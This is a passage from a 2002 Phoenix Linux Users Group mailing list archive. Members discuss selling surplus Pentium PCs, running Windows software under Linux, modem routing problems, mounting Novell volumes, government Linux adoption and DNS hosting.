DNS server, mail server, router, > proxy, or even a thin-client for the Linux Terminal Server Project! :-) > Anyone interested? > Thanks, > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPPv1yisk3ywszI1FEQLHqACfdDAn9IQ7h1A63nCblNTwXfSXLWYAn29O EmIOtr86QTBRpfXUtZgtQncE =iYSF -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:07:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 3 Jun 2002 16:07:58 -0700 (PDT) Subject: Old computers available In-Reply-To: <016701c20b50$0df4a020$d701870a@jeffbarker> Message-ID: How's $25 each sound? On Mon, 3 Jun 2002, Jeff wrote: > How much are they askin? I might be interested. > > > ----- Original Message ----- > From: "Matt Alexander" > To: > Sent: Monday, June 03, 2002 3:01 PM > Subject: Old computers available > > > | I've got about 25 spare computers that my company is looking to sell or > | donate to a good cause. > | Here are the stats: > | > | Pentium 133Mhz > | 64MB RAM > | 1.3GB HD > | 10Mb NIC > | 1MB SVGA Video Card > | > | Linux installs fine on these computers and they could be put to a lot of > | good use as a low-traffic web server, DNS server, mail server, router, > | proxy, or even a thin-client for the Linux Terminal Server Project! :-) > | Anyone interested? > | Thanks, > | ~M > | > | ________________________________________________ > | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > | > | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:57:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Porter) Date: Mon, 3 Jun 2002 10:57:57 -0700 Subject: Windows and Linux Message-ID: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> Ok, this is intriguing to me. I am looking to migrate my house over to Linux, but I have some apps for which I cannot find comparable *nix substitutes. (Believe it or not, the request to move torward Linux is at my wife's request) So, those who have experienced VMware, win4lin, and the like, can you offer me your best suggestions as far as which you prefer and which flavor of Linux you believe is most solid with your choice? Also, any gotchas that you can think of would be most helpful. Also, has anyone run into problems with accessing Windows only devices using either of these options? Mike -----Original Message----- From: Derek Neighbors [mailto:derek@gnue.org] Sent: Sunday, May 26, 2002 9:36 PM To: plug-discuss@lists.plug.phoenix.az.us Cc: punkmmiv@cox.net Subject: Re: Windows and Linux On 26 May 2002 22:44:49 -0700 Matt wrote: > I know that Windows and Linux are supposed to operate pretty well > together, but the only articles I've read are about installing Linux > once Windows is already there. I'm running a pure SuSE 8.0 box and I > was wondering if it's possible to install Windows on it while still > being able to use my current install? Try win4lin. It lets you run windows as a window inside your GNU/Linux environment. Unlike VMWare and friends it is not a VM. Also, unlike WINE it actually works and works well. It will even let windows use (read/write) to your GNU/Linux file systems and such. It is not free, but neither is M$ Windows (so I assume you dont have a problem with that) and it is by far the best way to 'suffer' M$ while not having to 'leave' a real operating system. -Derek ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:29:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 3 Jun 2002 15:29:34 -0700 (MST) Subject: [PLUG-announce]Meeting tonight! (fwd) Message-ID: moin, moin, just a final reminder about tonight's devel meeting. ciao, der.hans -- # https://www.LuftHans.com/ # Magic is science unexplained. - der.hans ---------- Forwarded message ---------- Date: Mon, 03 Jun 2002 15:51:03 -0400 From: alandd@mindspring.com Reply-To: plug-devel@lists.PLUG.phoenix.az.us To: plug-devel@lists.PLUG.phoenix.az.us Subject: Meeting tonight! The Devel meeting is all set for tonight. 7:00pm Adtron Corporation 3710 E. University, Suite 4 Phoenix See the plug web site for directions and map. Vic will present on the Autoconf suite of tools. I just ordered the pizzas and soda. Someone want to pick up some ice on the way over? Alan _______________________________________________ PLUG-devel mailing list - PLUG-devel@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-devel _______________________________________________ PLUG-announce mailing list - PLUG-announce@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-announce PLUG Website at http://plug.phoenix.az.us From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:17:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Eddie Williams) Date: Mon, 3 Jun 2002 16:17:21 -0700 (PDT) Subject: Old computers available In-Reply-To: Message-ID: I'll buy one. On Mon, 3 Jun 2002, Matt Alexander wrote: > How's $25 each sound? > > > On Mon, 3 Jun 2002, Jeff wrote: > > > How much are they askin? I might be interested. > > > > > > ----- Original Message ----- > > From: "Matt Alexander" > > To: > > Sent: Monday, June 03, 2002 3:01 PM > > Subject: Old computers available > > > > > > | I've got about 25 spare computers that my company is looking to sell or > > | donate to a good cause. > > | Here are the stats: > > | > > | Pentium 133Mhz > > | 64MB RAM > > | 1.3GB HD > > | 10Mb NIC > > | 1MB SVGA Video Card > > | > > | Linux installs fine on these computers and they could be put to a lot of > > | good use as a low-traffic web server, DNS server, mail server, router, > > | proxy, or even a thin-client for the Linux Terminal Server Project! :-) > > | Anyone interested? > > | Thanks, > > | ~M > > | > > | ________________________________________________ > > | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > | > > | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- -Eddie From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:15:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 3 Jun 2002 16:15:30 -0700 Subject: Old computers available In-Reply-To: References: Message-ID: <200206031615.30091.voltage_spike@fastmail.fm> On Monday 03 June 2002 04:07 pm, Matt Alexander wrote: > How's $25 each sound? I'm not sure. How do I type the sound of a wallet opening? -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:28:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 3 Jun 2002 16:28:40 -0700 (PDT) Subject: Old computers available tomorrow In-Reply-To: Message-ID: OK, I think the best way for this to work is for anyone interested to stop by New Vision tomorrow between the hours of 9am and 5pm. At the front desk, ask for me, Matt Alexander. New Vision is located at 1920 E Broadway, halfway between McClintock and the 101 on the North side. First come, first serve. Thanks, ~M On Mon, 3 Jun 2002, Matt Alexander wrote: > How's $25 each sound? > > > On Mon, 3 Jun 2002, Jeff wrote: > > > How much are they askin? I might be interested. > > > > > > ----- Original Message ----- > > From: "Matt Alexander" > > To: > > Sent: Monday, June 03, 2002 3:01 PM > > Subject: Old computers available > > > > > > | I've got about 25 spare computers that my company is looking to sell or > > | donate to a good cause. > > | Here are the stats: > > | > > | Pentium 133Mhz > > | 64MB RAM > > | 1.3GB HD > > | 10Mb NIC > > | 1MB SVGA Video Card > > | > > | Linux installs fine on these computers and they could be put to a lot of > > | good use as a low-traffic web server, DNS server, mail server, router, > > | proxy, or even a thin-client for the Linux Terminal Server Project! :-) > > | Anyone interested? > > | Thanks, > > | ~M > > | > > | ________________________________________________ > > | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > | > > | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:21:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Mon, 3 Jun 2002 16:21:29 -0700 Subject: Old computers available In-Reply-To: References: <016701c20b50$0df4a020$d701870a@jeffbarker> Message-ID: <20020603232129.GF31933@ip68-3-203-249.ph.ph.cox.net> Sounds OK to me. Do they have CD's floppies or anything else interesting? What kind of video and network cards? Passive heatsinks or fans? (Interesting for embedded use...) On Mon, Jun 03, 2002 at 04:07:58PM -0700, Matt Alexander wrote: > How's $25 each sound? > > > On Mon, 3 Jun 2002, Jeff wrote: > > > How much are they askin? I might be interested. > > > > > > ----- Original Message ----- > > From: "Matt Alexander" > > To: > > Sent: Monday, June 03, 2002 3:01 PM > > Subject: Old computers available > > > > > > | I've got about 25 spare computers that my company is looking to sell or > > | donate to a good cause. > > | Here are the stats: > > | > > | Pentium 133Mhz > > | 64MB RAM > > | 1.3GB HD > > | 10Mb NIC > > | 1MB SVGA Video Card > > | > > | Linux installs fine on these computers and they could be put to a lot of > > | good use as a low-traffic web server, DNS server, mail server, router, > > | proxy, or even a thin-client for the Linux Terminal Server Project! :-) > > | Anyone interested? > > | Thanks, > > | ~M > > | > > | ________________________________________________ > > | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > | > > | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:36:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 3 Jun 2002 16:36:40 -0700 (PDT) Subject: Old computers available In-Reply-To: <20020603232129.GF31933@ip68-3-203-249.ph.ph.cox.net> Message-ID: On Mon, 3 Jun 2002, Shawn Rutledge wrote: > Sounds OK to me. > > Do they have CD's floppies or anything else interesting? > What kind of video and network cards? Passive heatsinks or > fans? (Interesting for embedded use...) Ah, I forgot to mention that these do not have cdrom drives. Most are missing floppy drives. All have video cards that work with Linux (I'm too lazy to check the exact brand right now) and 10Mb network cards. The CPUs have fans. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:30:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Mon, 3 Jun 2002 18:30:37 -0500 (CDT) Subject: Windows and Linux In-Reply-To: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> Message-ID: > Ok, this is intriguing to me. I am looking to migrate my house over to Linux, but I have some apps for which I cannot find comparable *nix substitutes. (Believe it or not, the request to move torward Linux is at my wife's request) I am curious as to what applications? > So, those who have experienced VMware, win4lin, and the like, can you offer me your best suggestions as far as which you prefer and which flavor of Linux you believe is most solid with your choice? Also, any gotchas that you can think of would be most helpful. I still love Carl's answer to this one, the best GNU\Linux distro you could possibly use, is the one that will give you the most support. Generally that means, use what your friends use. I think Debian GNU\Linux is the best of all worlds, but certainly it's hard to go wrong with about any major distrobution. As to windows under GNU\Linux, what I said below pretty much applies. If you arent willing to 'pay' for a solution, Wine is probably the only solution out there, if you are willing to pay, I think Win4Lin is the best product, but VMWare is interesting if you have need for virtual machines other than just windows. > Also, has anyone run into problems with accessing Windows only devices using either of these options? Win4Lin has problems with DirectX I think, butyou would have to consult their site to verify what is or isnt supported. -derek > -----Original Message----- > From: Derek Neighbors [mailto:derek@gnue.org] > Sent: Sunday, May 26, 2002 9:36 PM > To: plug-discuss@lists.plug.phoenix.az.us > Cc: punkmmiv@cox.net > Subject: Re: Windows and Linux > > > On 26 May 2002 22:44:49 -0700 > Matt wrote: > > > I know that Windows and Linux are supposed to operate pretty well > > together, but the only articles I've read are about installing Linux > > once Windows is already there. I'm running a pure SuSE 8.0 box and I > > was wondering if it's possible to install Windows on it while still > > being able to use my current install? > > Try win4lin. It lets you run windows as a window inside your GNU/Linux > environment. Unlike VMWare and friends it is not a VM. Also, unlike > WINE it actually works and works well. It will even let windows use > (read/write) to your GNU/Linux file systems and such. It is not free, > but neither is M$ Windows (so I assume you dont have a problem with > that) and it is by far the best way to 'suffer' M$ while not having to > 'leave' a real operating system. > > -Derek > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:32:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 3 Jun 2002 16:32:08 -0700 Subject: eBay Listing In-Reply-To: <200206032151.RAA16097@hostinworld6.com> References: <200206032151.RAA16097@hostinworld6.com> Message-ID: <1023147128.3cfbfc78a73c6@webmail.freedom2surf.net> Quoting "Bryce C." : > This is the sort of thing that gives linux a bad rep or confuses people > about linux. Just look at the category it's under! I'm not saying the > entire listing is wrong or bad but the top part is misleading to the > inexperienced. > > http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=2028970463 > > Just My Little Vent, > Bryce C. > I really can't find objection to this listing. Most of the info is copies from the Mandrake site and they even offer free tech support. True, they could have listed the auction under the OS catagory, but I find it less objectionable then people selling Windows boot disks for the same price. Looks like a small business www.linuxpcshop.com using eBay to get their name out. They won't care if the item sells as long as it draws traffic to the (unfinished) website. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 00:39:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Mon, 3 Jun 2002 20:39:53 -0400 Subject: Windows and Linux Message-ID: <20020604003951.DSAH4796.lakemtao08.cox.net@smtp.central.cox.net> CodeWeavers have a product (called CrossPoint I *think*) that gives you DirectX support on Linux. I think its just based off of the Wine code but when I used it it worked *very* well. Wait a min now that I think about it it wasn't the CodeWeavers product I used. it was the Transgamming product (http://www.transgaming.com/news.php?newsid=25). I only loaded it up on my computer then brought up some games. So I don't know how well extended play would work. But installation was easy. Later I did some upgrades on other software which broke it. I not *really * much of a gammer so I haven't really bothered with it since. Carl P. ============================================================ From: Derek Neighbors Date: 2002/06/03 Mon PM 07:30:37 EDT To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: Windows and Linux > Ok, this is intriguing to me. I am looking to migrate my house over to Linux, but I have some apps for which I cannot find comparable *nix substitutes. (Believe it or not, the request to move torward Linux is at my wife's request) I am curious as to what applications? > So, those who have experienced VMware, win4lin, and the like, can you offer me your best suggestions as far as which you prefer and which flavor of Linux you believe is most solid with your choice? Also, any gotchas that you can think of would be most helpful. I still love Carl's answer to this one, the best GNU\Linux distro you could possibly use, is the one that will give you the most support. Generally that means, use what your friends use. I think Debian GNU\Linux is the best of all worlds, but certainly it's hard to go wrong with about any major distrobution. As to windows under GNU\Linux, what I said below pretty much applies. If you arent willing to 'pay' for a solution, Wine is probably the only solution out there, if you are willing to pay, I think Win4Lin is the best product, but VMWare is interesting if you have need for virtual machines other than just windows. > Also, has anyone run into problems with accessing Windows only devices using either of these options? Win4Lin has problems with DirectX I think, butyou would have to consult their site to verify what is or isnt supported. -derek > -----Original Message----- > From: Derek Neighbors [mailto:derek@gnue.org] > Sent: Sunday, May 26, 2002 9:36 PM > To: plug-discuss@lists.plug.phoenix.az.us > Cc: punkmmiv@cox.net > Subject: Re: Windows and Linux > > > On 26 May 2002 22:44:49 -0700 > Matt wrote: > > > I know that Windows and Linux are supposed to operate pretty well > > together, but the only articles I've read are about installing Linux > > once Windows is already there. I'm running a pure SuSE 8.0 box and I > > was wondering if it's possible to install Windows on it while still > > being able to use my current install? > > Try win4lin. It lets you run windows as a window inside your GNU/Linux > environment. Unlike VMWare and friends it is not a VM. Also, unlike > WINE it actually works and works well. It will even let windows use > (read/write) to your GNU/Linux file systems and such. It is not free, > but neither is M$ Windows (so I assume you dont have a problem with > that) and it is by far the best way to 'suffer' M$ while not having to > 'leave' a real operating system. > > -Derek > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ============================================================ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 00:47:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Mon, 03 Jun 2002 17:47:16 -0700 Subject: Thanks to PLUG Message-ID: <3CFC0E14.818DB567@qwest.net> I first got started in Linux due to my CSE200 professor at ASU (who is on the ASULUG list) because I needed to be able to write and debug C/C++ programs before turning them in on the General Unix servers. I got RH4.2 and put it on a P166 tower I had built. I moved on, going from version to version of Red Hat as new releases came out. With the help of PLUG I was able to setup a DEC Alpha Multia to act as a Firewall for my DSL connection, now the Cisco 675 is doing NAT in PPP mode (used to be in bridging mode). I've been dual booting my Panasonic Toughbook CF-25mkII between Win95/RedHat Linux and have slowly been learning enough that I have fewer reasons to boot into Windows (Starcraft still runs best under Win95 on my poor little P150 rather than in Wine). This weekend I wiped the linux partitions out and freshly installed RH7.3. PCMCIA didn't work (stupid Yenta Socket driver) and Xwindows wouldn't do more than 640x480 (stupid Xconfigurator). Thanks to past help I've gotten from everyone on this list I was able to build a new kernel and reconfigure X to do 1024x768. The longest part of the debug was rebuilding the kernel and pcmcia_cs packages. As a side benefit, the format and install actually helped me get my Orinoco Wireless card working under linux, so now I can use both Linux and Windows anywhere in the house. All this thanks to the help of others on this list. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 04:33:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Mon, 3 Jun 2002 21:33:00 -0700 Subject: Fwd: Re: Bundesregierung waehlt Linux Message-ID: <200206032133.00244.dennisk@sahuaro.f2s.com> My friend Wolfgang passed on this link (auf deutsch) that makes it clear that all levels of the German government will be using Linux. I'm sure M$ will be watching this v-e-r-y closely. Dennis Kibbe ---------- Forwarded Message ---------- Hallo Dennis, das bedeutet natürlich, das alle Behörden und Ämter auch Linux bekommen. Ein dicker Brocken! http://www.tagesschau.de/aktuell/meldungen/0,2044,OID812742,00.html Wolfgang ------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 04:42:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Mon, 3 Jun 2002 21:42:48 -0700 Subject: Modem connects but can't surf Message-ID: <200206032142.48801.dennisk@sahuaro.f2s.com> I've been trying to troubleshoot a problem on a friend's Toshiba laptop loaded with SuSE 8.0 PPP will make a dialup connection to his ISP, Earthlink, but Konqueror doesn't seem to recongnise that a connection to the Internet is there. At Bill Lindley's suggestion I had him do a "route add default ppp0" thinking that the default route was set to eth0. The modem is a Xircom ethernet/modem combo PCMCIA card. No luck. Where else should I be looking? What logs should I ask him to e-mail me? Vielen dank im Voraus fuer einige Hinweise, Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 05:01:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Tue, 4 Jun 2002 00:01:58 -0500 Subject: Modem connects but can't surf In-Reply-To: <200206032142.48801.dennisk@sahuaro.f2s.com>; from dennisk@sahuaro.f2s.com on Mon, Jun 03, 2002 at 09:42:48PM -0700 References: <200206032142.48801.dennisk@sahuaro.f2s.com> Message-ID: <20020604000158.B5898@lilly.csoft.net> What is the output of 'ifconfig' and something like 'netstat -nr'? On Mon, Jun 03, 2002 at 09:42:48PM -0700, Dennis Kibbe wrote: I've been trying to troubleshoot a problem on a friend's Toshiba laptop loaded with SuSE 8.0 PPP will make a dialup connection to his ISP, Earthlink, but Konqueror doesn't seem to recongnise that a connection to the Internet is there. At Bill Lindley's suggestion I had him do a "route add default ppp0" thinking that the default route was set to eth0. The modem is a Xircom ethernet/modem combo PCMCIA card. No luck. Where else should I be looking? What logs should I ask him to e-mail me? Vielen dank im Voraus fuer einige Hinweise, Dennis Kibbe ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 12:42:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Tue, 4 Jun 2002 05:42:49 -0700 Subject: Sending out press release - final Message-ID: <200206040542.49248.dennisk@sahuaro.f2s.com> Just checking that the version up on the PLUG site is the final, best-ever, unanimously approved version. If so, I'll get it out to the media contacts that Jim sent me. Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 12:56:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Tue, 4 Jun 2002 05:56:26 -0700 Subject: Taiwan follows Germany's lead Message-ID: <200206040556.26537.dennisk@sahuaro.f2s.com> Taiwan is also starting a Free Software initiative naming high license fees, security and to "increase the independence of the IT industry" as driving reasons. The store in english is here: http://www.kuro5hin.org/story/2002/6/3/55433/41738 Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 14:09:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Tue, 4 Jun 2002 07:09:37 -0700 (MST) Subject: Sending out press release - final In-Reply-To: <200206040542.49248.dennisk@sahuaro.f2s.com> Message-ID: Am 04. Jun, 2002 schwätzte Dennis Kibbe so: > Just checking that the version up on the PLUG site is the final, best-ever, > unanimously approved version. If so, I'll get it out to the media contacts > that Jim sent me. The URL: http://www.plugpresents.com/installfest/ My suggestions haven't been incorporated. ciao, der.hans -- # https://www.LuftHans.com/ # Motorraeder toeten nicht. Motorraeder werden getoetet. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 14:56:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Todd Hought) Date: Tue, 4 Jun 2002 07:56:13 -0700 (MST) Subject: eBay Listing In-Reply-To: <200206032151.RAA16097@hostinworld6.com> Message-ID: Wow, Linux 8.2? is that the kernel version? or just a rubber stamp that Linus uses when he gives his seal of approval to every boxed copy of linux in the world? ANyhew, I would probably cut the seller some slack, he's from Nebraska, which certainly explains a lot. :-) *grin* On 3 Jun 2002, Bryce C. wrote: > This is the sort of thing that gives linux a bad rep or confuses people > about linux. Just look at the category it's under! I'm not saying the > entire listing is wrong or bad but the top part is misleading to the > inexperienced. > > http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=2028970463 > > Just My Little Vent, > Bryce C. > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 15:10:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Tue, 4 Jun 2002 08:10:11 -0700 Subject: mounting novell volumes In-Reply-To: <3CFBDB27.5CAFA00F@pop.phnx.uswest.net> References: <200206031058.52521.plug@the-arcanum.org> <3CFBDB27.5CAFA00F@pop.phnx.uswest.net> Message-ID: <200206040810.16001.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The server boots okay, the sys volume is a 2gb partition, and it has almost 6 meg of free space.. The people who use this know nothing about novell, neither does their company, and neither do I. THis is netware 3.12 It boots, takes about 15-20 minutes to mount the sys volume, but I can't get any workstations to acknowledge it. We want to switch them over to a small win98 machine that can do just file serving, but need the css data (from the hotel reservation system) before we can do anything. I'lll look at some of those free tools, thanks a lot Steve. nathan Am Montag 03 Juni 2002 02:09 nachmittags schrieb foodog: > Nathan, I haven't heard of a non-Netware method of mounting Netware > volumes. Is the server unbootable? FWIW, the best non-Novell tools for > Netware that I know of come from: > http://www.PortlockSoftware.com - > http://www.ontrack.com - > http://www.jrbsoftware.com -- large number of "free" utils plus more > that cost. > > Of course, searching through support.novell.com and developer.novell.com > yields lots of free tools and info. > > BTW, if the server *isn't* toasted and you're running NW 5.x or 6 > there's support for NFS > > Could you elaborate on the situation? > Steve > > Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > I booted up a novell machine using a bbc cd and I need to mount the > > novell volume (/dev/hda2) onto the tree so I can export it. > > The fdisk info says it is id 65 Novell Netware 386 > > > > Does anyone know how I can mount that? I tried the ncpfs module, but it > > doesn't work. > > > > nathan > > -----BEGIN PGP SIGNATURE----- > > Version: GnuPG v1.0.7 (GNU/Linux) > > > > iD8DBQE8+65cQ7yNnsYcupwRAnx9AJ9Ga+JvecuXlU9n32S/9m7M7hkbFgCgq08N > > 5V5D6ElmVvifCzrLPF8nRyM= > > =d4n0 > > -----END PGP SIGNATURE----- > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE8/NhXQ7yNnsYcupwRAgZoAJ9kVBz4fRJNSXb6Y2iebZYkY8uYXQCgqBXa 1Fo55C8NyzarP66Nlw65dmQ= =u9LP -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 16:24:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Charlie Bullen) Date: Tue, 4 Jun 2002 09:24:49 -0700 Subject: DNS services Message-ID: <005901c20be4$5a0a7900$6400a8c0@amd1000> This is a multi-part message in MIME format. ------=_NextPart_000_0056_01C20BA9.ACBEA8F0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Has anyone used a DNS service, such as ZoneEdit, to manage DNS service = for multiple domains, aprox 50, that also have multiple servers on each = domain such as www.xyz.com, info.xyz.com etc.=20 The fellow that owns the company where I work is currently using bind on = a server he administers, but is looking for an easier way. I don't know = if this matters, but he is running several servers running RedHat 7.2, 